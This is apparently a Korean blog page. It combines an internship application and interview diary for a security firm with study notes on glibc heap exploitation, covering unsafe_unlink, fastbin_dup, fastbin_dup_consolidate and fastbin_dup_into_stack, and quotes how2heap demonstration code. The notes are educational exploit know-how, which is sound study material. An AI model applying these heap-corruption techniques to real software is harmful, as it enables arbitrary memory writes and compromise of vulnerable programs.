https://user-images.githubusercontent.com/48816875/109311382-1dc16b80-7889-11eb-8721-3a2c3283f117.png

어느날 학교 학년 공지방에 다음과 같은 인턴십 공고가 올라왔다.

처음에는 그냥 그러려니 하고 넘어갔으나, 후에 어느 기업들이 인턴을 뽑는지 궁금하여 기업 목록을 찾아보았다.
그런데 내가 원래 목표로 하고 있었던 꿈에 그리던 기업들 중 하나의 이름이 보여 허겁지겁 회원가입하고 이력서를 작성하기 시작했다.

서류

서류는 이력서 + 자소서 이렇게 기본 양식이 주어진다.
이력서에는 학점, 전공학점과 같은 형식적인 내용들이 들어가며, 자소서는 자유양식이었다.
또한, 서류는 총 3곳에 넣을 수 있다.
(나는 목표 기업 한군데에만 넣었다.)

나같은 경우에는 기본 양식으로는 차별성을 둘 수 없다고 판단하여 틀부터 새로 만들자 라는 생각을 하였다.
하지만, 평소 발표 ppt도 제대로 못만드는 똥손인 나는 곧 그 사실을 후회할 수 밖에 없었는데... 거기서 저번에 동아리 선배께서 보여주셨던 이력서가 생각이 나 연락을 드렸고 실제로 많은 도움을 받을 수 있었다! (정말 정말 정말 감사드립니다 ㅠㅠ)

그렇게 만들게 된 이력서에는 아래와 같은 내용들을 담았다.

  • 이름 및 연락처
  • 간략한 소개
  • 보유기술 ( ex. Language[C, Python], System Hacking[bof, fastbin_dup, memory_leak ...] 등)
  • 활동이력 ( ex. CTF 운영 이력, KISA 취약점 제보 이력 등)
  • 여태까지 진행한 프로젝트 및 프로젝트에 관한 상세한 설명
  • 나를 뽑아야 하는 이유

이렇게 여태까지 내가 해왔던 활동들과 강점이라고 생각하는 부분을 잘 녹여 이력서를 작성하는데 일주일이란 시간이 걸렸고 이력서 제출 마감 2시간 전 무사히 제출할 수 있었다.

코딩테스트

나는 내가 목표로 하던 기업을 인턴십 목록에서 찾자마자 허겁지겁 이력서를 써냈기때문에 이 부분에 대해서는 간과하고 있었다.... 하지만 목표 기업은 코딩테스트를 보는 기업이었던 것.... 거기다 코딩테스트는 12시간동안 보게되는데 알바와 동아리 시간이랑 겹쳐 3일은 못잔 상황에서 멘탈이 탈탈 털린 상태로 보게되었다...

코딩테스트는 해커랭크 사이트에서 영어로 5문제, 12시간동안 테스트를 보게 된다.

처음에는 영어에 겁먹어 일일이 해독해야 하나....? 싶었지만 그냥 입출력 예제를 보고 어떤 문제인지 쉽게 파악할 수 있었다.
또한, 평소 알고리즘 공부를 하지 않아 걱정한것과는 다르게 생각보다 매우 매우 쉬운 문제들이 출제되었다. (그런것 치고는 첫번째 문제부터 아에 모르는 문제가 출제되어 구글링으로 학습하며 풀었다.)

결과는 5문제 중, 3문제는 만점 2문제는 테스트 케이스 25개 중 4문제를 틀렸다.
그 중 테스트 케이스 하나는 속도 제한 때문에 상당히 힘들었는데 나는 평소 다른 언어에 비해 비교적 느린 파이썬을 쓰기 때문에 결국 해결하지 못하고 넘어가게 되었다 ㅠㅠ...
또한 결과에 관해서는 메일로 상세하게 안내해주기 때문에 결과 확인에 있어서 매우 좋았다.
메일로 확인한 바로는 279/350 (점수/만점) 이었고 백분율로는 79.7%로 80점을 넘지 못해 개인적으로 아쉬웠다. ㅠㅠ..

서류 합격!

코테를 보고 한 이틀동안 가슴을 졸이며 서류전형 결과를 기다렸다. 블로그를 이곳 저곳 살펴본 결과 코테 시험 도중에 서류 합격 문자가 날라온 곳도 있다고 하여 더 그랬던것 같다.

평소와 같이 알바를 끝내고 집에 가던 도중 문자가 도착하여 확인했는데 면접안내 문자였다. 서류가 붙은 기쁨도 얼마안가 면접이 내일 모레라는 것을 알고 또 다시 긴장하기 시작했다. ㅎㅎ...

면접 복장

대학교 2학년을 마치고 이제 3학년에 올라가는 나는 면접보러 갈 때 복장에 대한 걱정을 많이했다. 복장에 대해 자율이라고 안내를 받았으나 구글 검색을 한 결과 자율 복장이더라도 양복을 입으면 플러스면 플러스지 마이너스는 아니다 라는 의견이 압도적이었기 때문이다.

하지만 가지고 있는 양복도 없었고, 목표기업은 다른 기업에 비해 비교적 자유롭고 상당히 젊은 기업이었기 때문에 그냥 후드티와 청바지를 입고 운동화 신고 가게 되었다...

실제로 면접관 분들은 당황한 기색이나 불편함을 느끼시는 것 같지는 않았다. 오히려 양복입고 갔으면 더 긴장했을것 같아서 지금 생각하면 괜한 걱정이었나 싶다.

면접 질문

우선 가장 걱정이 되었던 것은 실무관련 질문들 이었다. 외부활동(컨퍼런스, CTF)들을 참가하다 보면 나와 같은 대학생들 중 나보다 더 뛰어난 사람은 수없이 많았고 그 중에는 이미 리얼월드에 뛰어들어 활약하고 있는 사람들도 많았기 때문이었다.
(실제로 앞에 계신 면접관분들 또한 나와 비슷한 나이대였고 이미 기업에서 활약하고 계시는 유명한 분들 이었다.)

면접은 3:1 (면접관:지원자) 형식으로 진행되었고 면접 분위기는 개인적으로 면접이라기 보다 대화에 가까웠다고 생각한다.
우선 자소서에 관한 질문부터 정리하자면 아래와 같다. (굵은 글씨는 면접관분들의 질문)

  • 자기소개부터 해주세요.
  • 진행한 프로젝트에 관한 질문
  • 보유기술에 적힌 기법에 관한 질문 (fastbin_dup_consolidate 기법에 관해 설명해주세요.)
  • 취약점 제보와 관련된 질문


위에 관한 질문들은 자소서에 써진대로 그리고 알고 있는 내용에 관해 전부 설명했어서 면접 후에도 후회되지는 않았습니다. 하지만 문제는 아래 질문들....

  • IoT, 모바일에 관심있다고 하셨는데 전에 말씀하신 IoT 카메라와 관련된 공격 벡터는 무엇이 있을까요?
    • IoT 카메라 관리자 페이지에서 어드민 로그인과 관련된 공격, 또는 펌웨어 쉘 접근과 같은 것들이 있을 수 있습니다.
    • (이 부분에 관해서는 전에 동아리 선배께서 발표하셨던 내용과 IoT카메라 관련해서 1-day 분석 글을 읽었어서 알고 있는 내용에 관해서 대답할 수 있었다. 하지만 긴장해서 제대로 된 대답을 하지 못했다고 생각한다 ㅠ...)
  • 현재 윈도우 상용프로그램 익스플로잇을 진행중이라고 하셨는데 설명해주시겠어요?
    • 우선 퍼징과 관련하여 dump fuzzer인 bff fuzzer를 사용한 것 부터 타겟은 어떤 소프트웨어인지, 분석 도구는 무엇을 사용했는지에 관해 설명드렸다.
  • 그럼 현재 윈도우 상용프로그램 익스플로잇에 관해 진행된 내용이 있을까요?
    • 없습니다.
    • (실제로 저게 대답이었다 ㅋㅋㅋㅋ.... 너무 긴장한 것도 있고 제일 걱정하던 부분이라서 그렇다고 생각한다. 크래시 분석에서 멈춰 전혀 진행되지 않았고 하나의 크래시 파일을 이용하여 레지스터를 덮을 수 있었으나 현재 내 기술로는 관련 레지스터가 익스플로잇과 관련하여 사용할 수 있는 부분이 없다고 생각하여 그냥 날린 것이 전부였다. ← 하다못해 이런거라도 말했으면 얼마나 좋아 ㅠ....)
  • 1-day 분석은 해보셨나요?
    • 아니요. 해본적 없습니다.
    • (정말 끔찍하다... 대답을 이렇게밖에 못하다니... 이것도 면접 당시에는 저렇게 뱉었지만 지금 생각해보면 직접 분석은 못했지만 윈도우 이미지 뷰어, IoT 카메라와 관련하여 hackerone, 구글링, cve 사이트를 돌아다니며 읽어보았던 점 정도는 이야기 할 수 있었을텐데... 긴장해서 제대로 대답을 못한것이 아쉽다.)

우선 기억나는 질문들은 이 정도였던것 같다. 리얼월드와 관련된 질문들이 많이 나올것이라고 예상은 했지만, 나는 리얼월드에 입문한지 얼마 지나지도 않았고 실적도 없어서 대답을 잘 못한것이 아쉬웠다...
면접을 보고나서 공부가 부족했다고 생각했고 더 열심히 해야겠다고 생각했다.
(공부 방향또한 잘못되었다고 생각해서 면접이 끝난 후 공부계획도 다시 세웠다. ptmalloc Heap → 1-day 분석 맨땅에 헤딩)

조언들

여기는 면접 중간에 해주셨던 조언과 마지막에 질문한 내용에 관한 답변들에 대한 정리이다.

  • 음... 현재 하고 계신 힙 공부가 ptmalloc 이신 것 같으신데 ptmalloc 그렇게 열심히 안하셔도 돼요.
    • (Heap 하면 입문으로 시작하는 것들이 전부 ptmalloc이어서 아무 생각없이 따라갔었던 것 같다. 평소에도 ptmalloc을 공부해도 앞으로 진행할 윈도우 익스플로잇과 모바일 익스플로잇에서는 메모리 할당자가 ptmalloc이 아닐텐데라는 생각을 해왔던터라 생각보다 쉽게 듣자마자 납득했다.)
  • 마지막으로 하고 싶으신 말 있으실까요?
    • 혹시 누군가 저처럼 인턴 면접, 혹은 연구원으로 면접을 온다 가정했을 때 어떤 사람들이 왔으면 좋겠고 어떤 사람들과 함께 일하고 싶으신가요?
    • (당시 나는 외부활동을 나가면 많이들 보이는 고수 대학생들도 많이 지원했을 것이라 생각했고 실무관련 질문에 자신감이 많이 떨어져 면접이 끝난 후에 공부할 내용에 관해 조언이 될 것들을 얻고자 저런 질문을 했던것 같다.)
      • 우선 지금 포너블을 공부하고 계신데 포너블은 현재 10명을 뽑는다고 하면 점점 줄어서 몇년 후에는 3명만 뽑는다 하는 식으로 점점 문이 좁아질거에요. 그리고 요즘도 모의해킹의 대부분은 웹이라서 지금이라도 웹을 공부하시는게 좋다. 생각합니다.
        • 현재까지는 포너블이 재밌어서 그 분야만 쭉 파왔지만 앞으로 꿈꾸는 직종이 모의해킹이라 웹과 포너블을 굳이 구분짓지 않고 둘 다 공부하려고 합니다.
        • (실제로 포너블의 문이 점점 좁아지고 있는 것은 진작 주변에서 들어서 알고 있었어서 평소 가지고 있던 생각을 말씀 드렸던 것 같다.)
      • 앞으로 리얼월드 두려워하시지 마시고 1-day부터 분석해보시면 좋은 결과 얻으실 수 있다고 생각합니다.
        • (공부 방향성을 직접적으로 제시해주셔서 너무 감사했다. 실제로 면접 끝나고 공부 계획을 세울 때 가장 큰 영향을 받은 대답이었다. 다만 여태까지도 1-day분석을 안하려던것은 아니었으나 1-day와 관련된 문서를 어디서 찾는지에 대한 정보가 부족했어서 그랬는데 이 정보를 얻는 것이 후에 있을 공부계획에 1순위였다.)
        • (hackerone이나 cve같은 경우 잠시 들렀을 때 가끔씩 분석글이 보이기도 했으나 대부분 익스플로잇 사진 또는 추상적인 설명이 전부여서 정보를 얻는데 어렵다...) + (아직도 잘 모르겠다...)

면접 후기

우선 모의해킹/취약점 분석에서 유명한 기업이었고 예상했던대로 리얼월드 관련해서 많은 질문을 주셔서 "아.... 리얼월드 분석을 해본 인재를 원하시는구나"라고 생각해서 떨어졌다고 생각했다.

하지만 질문들을 하시면서 조언 또한 많이 들려주셨었고 공부 방향성을 밀고 새로 짜게된 것만으로도 이번 면접에 큰 수확이었다고 생각했다. (내가 언제 저런 고수분들과 대화를 나눠보겠어...?)

합격...?

동아리와 관련된 일때문에 밖에서 임원진분들과 이야기를 하고 있었는데 ICT인턴십사무국으로부터 메일이 도착했고 느린 3g데이터로 결과창을 몰래 확인하느라 힘들었다.

떨어질 것이라 생각했던 내 예상과는 다르게 면접전형 합격이라는 글자가 떠있었고 원하던 기업에서 인턴으로 일하게 된다는 생각에 너무 기뻤다.

다음날 00:00 부터 인턴확정 선택을 할 수 있었는데 00:00 시간이 되자마자 바로 눌렀던 기억이 난다.

해프닝

다음날 아침 ICT인턴십사무국에서 불합격 메일이 날라왔다. "아... 이게 현실인가? 여태까지 꿈이었나..?" 싶어 30분동안 멍때리다가 ICT인턴십사무국에 직접 문의를 해보니 데이터베이스가 꼬여 메일이 잘못 보내졌다고 한다. 다시 결과를 조회해주셨는데 정상적으로 합격처리가 되어있고 3월 2일부터 출근하면 된다고 한다.

지원 후기...?

쓰고나니 뭐... 일기장인가 싶다 ㅋㅋㅋㅋ....
사실 방금전까지도 "꿈인가? 안믿기네...." 이러고 있다가 기업에서 안내사항과 기업 메일 제작에 관해 문자가 날라와 현실 자각을 하게 되었다.
앞으로 엄청난 분들과 함께 일하게 될텐데 걱정도 되지만 이번 인턴십을 계기로 빠르게 성장해서 졸업 후 이곳에 다시 이력서를 넣었을 때 만약 합격하게 된다면 그 때는 한번에 합격 사실을 믿을 수 있게 열심히 하자.

https://user-images.githubusercontent.com/48816875/109326213-35edb680-789a-11eb-8cd5-07842d8a9884.png

Reference

https://github.com/shellphish/how2heap

https://dreamhack.io/learn/2/16#44

http://lazenca.net/pages/viewpage.action?pageId=1148137

https://koharinn.tistory.com/142

https://code1018.tistory.com/195?category=981925

https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink

https://wogh8732.tistory.com/195

https://midascopp.tistory.com/66

Unsafe_unlink

Unsafe_unlink는 헤더 값이 조작된 Fake chunk와 다른 인접한 chunk를 병합시킴으로써 비정상적으로 unlink매크로를 호출시켜 발생하는 취약점이다.

사용조건

  • 전역변수에서 힙 포인터를 관리
  • 두개의 Allocated Chunk가 필요하며 Fake Chunk를 생성할 수 있어야 한다.
  • Fake chunk와 인접한 chunk의 헤더(prev_size, size(prev_inuse bit)를 조작할 수 있어야 한다.

unlink 매크로

// malloc.c line 1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                          \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
              }                                      \
          }                                      \
      }                                          \
}

malloc.c 에 정의된 unlink 소스코드

검증

  • prev_inuse bit 검증

      // malloc.c line 1270
      /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
      #define PREV_INUSE 0x1
    
      /* extract inuse bit of previous chunk */
      #define prev_inuse(p)       ((p)->size & PREV_INUSE)
    
      // malloc.c line 4173
      if (!prev_inuse(p)) {
              prevsize = p->prev_size;
              size += prevsize;
              p = chunk_at_offset(p, -((long) prevsize));
              unlink(av, p, bck, fwd);
            }
    • prev_inuse bit가 0인지 확인하는 코드이다.
  • Valid Chunk Pointer

          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    • FD→bk = P

    • BK→fd = P

    • 위 값이 맞는지 확인한다.

    • 확인하는 이유는 아래와 같다.

      https://user-images.githubusercontent.com/40850499/106772835-bea27980-6683-11eb-9596-e5a57b4cb4a3.png
    • 정상적인 free된 힙 청크들 사이에 링크 관계이다.

    • 따라서 정상적인 freed chunk라면 FD→bk = P, BK→fd = P를 나타내게 된다.

Unsafe_unlink attack

힙 익스에서는 가장 중요한것이 fake chunk의 구성이다. 이번 Unsafe_unlink에서도 위 2가지 검증을 우회하기 위해 fake chunk를 구성한다.

https://user-images.githubusercontent.com/40850499/106786018-6b372800-6691-11eb-954a-db54343f488e.png

  • Allocated chunk 2개를 할당해준다.

https://user-images.githubusercontent.com/40850499/106797617-32eb1600-66a0-11eb-8911-43f7a0a082fb.png

  • 검증을 우회하기 위한 fake chunk를 구성해준다.
  • fake chunk 구성은 아래와 같다.
    • prev_size = 0x00
    • size = 0x00
    • FD = [전역변수 힙 포인터 주소] - 0x18
    • BK = [전역변수 힙 포인터 주소] - 0x10
    • 인접한 다음 청크의 prev size = fake chunk size
    • 인접한 다음 청크의 size = size &= ~1 (and 연산으로 prev_inuse bit 0으로 활성화)

https://user-images.githubusercontent.com/40850499/106797869-86f5fa80-66a0-11eb-8743-e068454372a6.png

  • free(ptr2)
  • ptr2 청크의 prev_inuse bit를 0으로 변환했기 때문에 병합을 진행하기 위해 unlink 매크로 호출
  • 이 때 병합하기 위한 인접 청크의 위치를 알기 위해 prev_size를 사용
  • ptr2 청크의 시작 주소 - prev_size 값으로 병합할 청크를 구함
  • prev_size는 fake chunk의 크기이므로 fake chunk와 병합

https://user-images.githubusercontent.com/40850499/106797998-b73d9900-66a0-11eb-95cc-e4d4818e6c20.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • FD→bk 가 P를 가리켜야 하는데 전역변수로 할당된 [힙 포인터 주소 - 24]를 하면 전역변수를 힙 구조로 보게되고 힙 구조로 보았을 때 bk가 자기 자신의 포인터이기 때문에 FD→bk(P→fd→bk) == P가 성립하게 된다.

https://user-images.githubusercontent.com/40850499/106798712-b5280a00-66a1-11eb-96d2-e370283d7e80.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • 마찬가지로 P→fd 를 [힙 포인터 주소 - 18]로 해주면 BK→fd == P를 성립시킬 수 있다.

https://user-images.githubusercontent.com/40850499/106828088-da7e3d80-66cc-11eb-833f-0a5ea5d953aa.png

  • 검증을 모두 우회하여 다음 코드가 실행된다.
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
  • 그럼 이제 전역 힙 포인터인 ptr1에 무언가를 쓰게되면 0x601060부터 값을 쓰기 시작한다.
  • 16byte값의 더미를 주면 다시 ptr1의 주소를 변경시킬 수 있다.
  • 이때 ptr1의 주소의 다른 함수의 got 값, 다른 변수의 값을 변형하는 등 다양한 방법을 사용하여 공격할 수 있다.

how2heap unsafe_unlink.c 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

이 소스코드는 위에서 설명한 unsafe_unlink 기법을 이용하여 전역 힙 포인터인 chunk0_ptr을 이용하여 스택에 있는 값인 victim_string의 값을 변경하는 소스코드이다.

https://user-images.githubusercontent.com/40850499/106828531-c1c25780-66cd-11eb-86b1-d89567010578.png

victim_string에 있던 원래 값은 Hello!~ 였지만 unsafe_unlink 기법을 이용해 BBBBAAAA(0x4242424241414141)로 변경된 것을 확인할 수 있다.

매우재미따

진짜 힙 너무 재밌다..... 물론 이해되었을 때..... 힙을 처음 보면 ㅇ...? 이게 뭐지 하다가 계속 보고있으면 이해되면서 하나하나 깨달을 때마다 신나고 재밌는거 같다.... 힙 짱잼....ㅎㅎㅎㅎㅎㅎ

소스코드

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

분석

  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);

두 개의 fastbin 사이즈의 힙 청크 할당

  fprintf(stderr, "Now free p1!\n");
  free(p1);

free(p1)

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");

largebin 사이즈의 힙 청크 할당

여기서 largebin 사이즈의 힙 청크가 할당되면서 malloc_consolidate() 함수가 호출되고 여기서 fastbin에 들어간 p1이 smallbin에 병합됨

따라서 Double_Free 검증을 하는 구문에서 old, p 값이 서로 달라지게 되어 우회할 수 있게 됨

  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");

더블 프리

  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));

malloc을 두번 할당함으로써 같은 주소를 반환받을 수 있음

실습

https://user-images.githubusercontent.com/48816875/106393315-bf47cf80-6439-11eb-9390-1b454146f077.png

첫번째 free를 한 후 fastbin에 들어간 것을 확인

https://user-images.githubusercontent.com/48816875/106393334-df778e80-6439-11eb-92ef-1fb895ed8ff7.png

largebin사이즈의 힙을 할당함으로써 malloc_consolidate를 호출하여 smallbin으로 병합

https://user-images.githubusercontent.com/48816875/106393365-059d2e80-643a-11eb-8482-2b837bb3264a.png

다시 p1을 free하여 Double_free 발생

https://user-images.githubusercontent.com/48816875/106393395-2e252880-643a-11eb-93a4-fc458fe296ff.png

같은 주소를 할당받은 것을 확인할 수 있다.

fastbin_dup_into_stack.c 소스코드

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

정말 대단하다... 할수록 신기하고 재밌는거 같다.

분석

    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);

이 부분까지는 fastbin_dup과 다른 내용은 없다.

fastbin_dup과 마찬가지로 free_list를 a→b→a로 해주는 과정이다.

unsigned long long *d = malloc(8);

여기서 d포인터를 선언해주고 free된 a Heap chunk를 할당해준다.

fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

free된 b Heap chunk를 malloc 함수를 호출함으로써 날렸다.

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

이 부분 대박이다.

stack_var는 unsigned longlong으로 선언된 지역변수이다. 따라서 스택에 쌓인다.

그리고 d는 아까 free된 a Heap chunk를 할당받았던 Heap chunk이다. 또한 free_list에 들어가 있는 free된 a Heap chunk이기도 하다.

그런데 여기서 d의 user space에 &stack_var 다음 스택 주소를 입력함으로써 free 된 a Heap chunk의 FD값을 스택 주소로 변경시켜버리게 된다.

https://user-images.githubusercontent.com/48816875/105756584-2542db80-5f90-11eb-8872-786c286153e3.png

allocated chunk

https://user-images.githubusercontent.com/48816875/105756649-3a1f6f00-5f90-11eb-9ef2-cee9e24790ab.png

freed chunk

(free된 경우 user space의 맨 처음 값은 FD값이 됨)

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

https://user-images.githubusercontent.com/48816875/105758417-92f00700-5f92-11eb-938d-b530c7e7653f.png

그 다음 malloc을 통해 free_list에 있는 a Heap chunk를 꺼내면 FD가 스택을 가리키고 있기 때문에 다음 malloc 호출을 통해 stack영역 메모리를 할당받을 수 있다.

fastbin_dup.c 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    assert(a == c);
